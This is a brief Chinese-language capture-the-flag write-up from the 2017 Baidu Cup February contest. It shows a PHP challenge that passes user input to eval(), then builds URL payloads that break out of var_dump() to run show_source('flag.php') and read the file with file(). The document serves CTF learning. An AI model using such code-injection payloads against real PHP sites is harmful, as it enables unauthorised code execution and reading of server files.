“百度杯”CTF比赛 2017 二月场
题目:
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
这道题跟上道题有点类似,可以用上道题的方法试试,不行再换,不过题目给出的提示说flag不在变量中,所以很可能不行,但还是要试试.
构建payload:
c58dd912148d495fbe0805414fce2d9028999e42b4d74467.changame.ichunqiu.com/?hell0=$GLOBALS
所以flag不在全局变量中。现在在看看源码中几个重要的函数:
var_dump()会返回数据变量的类型和值
eval()会把字符串当作php代码
看到eval(),想到可以用命令执行漏洞
构建payload
1.?hello=);show_source('flag.php');var_dump(
2、?hello=file("flag.php")